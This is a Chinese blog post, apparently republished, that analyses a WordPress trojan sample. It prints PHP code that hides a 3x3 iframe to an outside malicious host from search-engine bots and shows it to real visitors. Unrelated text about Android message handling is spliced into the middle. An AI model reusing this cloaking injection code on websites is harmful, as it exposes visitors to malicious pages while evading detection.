在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用
在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段php脚本也完全可以用到其它任何php程序中。
将源代码做了个简单的整理如下:
| @@######@@ | @@######@@ |
error_reporting(0)是为了保证在任何情况下都不报错。
$bot是声音了一个flag,默认值为false,从后面的情况来看,这个是用来表明当前访问者是否是真正的浏览用户。
$user_agent_to_filter和$stop_ips_masks,前者是一维数据,存储了一大堆需要排除的浏览器user_agent,后者是个二维数据,存储了若干个ip段,这些ip段经查询,大都是搜索引擎的。
接下来,是通过ip地址和浏览器user agent来进行用户是否是普通浏览器的判断。
| @@######@@ | @@######@@ |
ip2long这个函数可以将ip地址转换成一个整数,sprintf(‘%u’, xxx)将这个int转换成无符号数。
Android应用程序是通过消息来驱动的,系统为每一个应用程序维护一个消息队例,应用程序的主线程不断地从这个消息队例中获取消息(Looper),然后对这些消息进行处理(Handler),这样就实现了通过消息来驱动应用程序的执行,本文将详细分析Android应用程序的消息处理机制。有需要的朋友可以下载看看
0
foreach在$stop_ips_masks中进行循环,取二维数据中的每一个数组,$frist_d和$second_d分别存储ip段起点ip和止点ip的无符号整数值,再用接下来的if进行判断,当前访问者ip是否在$stop_ips_masks所指定的范围内,若是,则将$bot量置为true。
| @@######@@ | @@######@@ |
这一部分的判断与ip判断类似,从$user_agent_to_filter中读取每一个值,再与浏览者的user agent进行对比,如果发现是机器人或者蜘蛛,则将$bot置为true。
if(!$bot)控制当访问者是普通浏览器时,即放置这个iframe,iframe的scr是无耻者放置乱七八糟内容的网页——chrome已经将它block了。
这个脚本可以用在任何php写成的网站中。而且,这段代码其实可以隐藏得更好,而不是这样连裤衩都不穿的裸奔。
在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段php脚本也完全可以用到其它任何php程序中。
将源代码做了个简单的整理如下:
原文地址:一个 Wordpress 木马样本分析, 感谢原作者分享。
<p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p><p class="line">7</p><p class="line">8</p><p class="line">9</p><p class="line">10</p><p class="line">11</p><p class="line">12</p><p class="line">13</p><p class="line">14</p><p class="line">15</p><p class="line">16</p><p class="line">17</p><p class="line">18</p><p class="line">19</p><p class="line">20</p><p class="line">21</p><p class="line">22</p><p class="line">23</p><p class="line">24</p><p class="line">25</p><p class="line">26</p><p class="line">27</p><p class="line">28</p><p class="line">29</p><p class="line">30</p><p class="line">31</p><p class="line">32</p><p class="line">33</p>
<p class="line">error_reporting(0);</p><p class="line">$bot = FALSE ;</p><p class="line">$user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api');</p><p class="line">$stop_ips_masks = array(</p><p class="line">array("216.239.32.0","216.239.63.255"),</p><p class="line">array("64.68.80.0" ,"64.68.87.255" ),</p><p class="line">... ... ...</p><p class="line">... ... ...</p><p class="line">array("72.30.0.0","72.30.255.255"),</p><p class="line">array("38.0.0.0","38.255.255.255")</p><p class="line">);</p><p class="line">$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));</p><p class="line">foreach ( $stop_ips_masks as $IPs ) {</p><p class="line"> $first_d=sprintf("%u",ip2long($IPs[0]));</p><p class="line"> $second_d=sprintf("%u",ip2long($IPs[1]));</p><p class="line"> if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {</p><p class="line"> $bot = TRUE;</p><p class="line"> break;</p><p class="line"> }</p><p class="line">}</p><p class="line">foreach ($user_agent_to_filter as $bot_sign){</p><p class="line"> if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){</p><p class="line"> $bot = true;</p><p class="line"> break;</p><p class="line"> }</p><p class="line">}</p><p class="line">if (!$bot) {</p><p class="line"> echo '<iframe src="http://chensd.com/2011-09/"http://whsej........o=1" width="3" height="3"></iframe>"'</p><p class="line">}</p><p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p><p class="line">7</p><p class="line">8</p><p class="line">9</p><p class="line">10</p>
<p class="line">$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));</p><p class="line">foreach ( $stop_ips_masks as $IPs ) {</p><p class="line"> $first_d=sprintf("%u",ip2long($IPs[0]));</p><p class="line"> $second_d=sprintf("%u",ip2long($IPs[1]));</p><p class="line"> if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {</p><p class="line"> $bot = TRUE;</p><p class="line"> break;</p><p class="line"> }</p><p class="line">}</p><p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p>
<p class="line">foreach ($user_agent_to_filter as $bot_sign){</p><p class="line"> if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){</p><p class="line"> $bot = true;</p><p class="line"> break;</p><p class="line"> }</p><p class="line">}</p>
全网最新最细最实用WPS零基础入门到精通全套教程!带你真正掌握WPS办公! 内含Excel基础操作、函数设计、数据透视表等
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号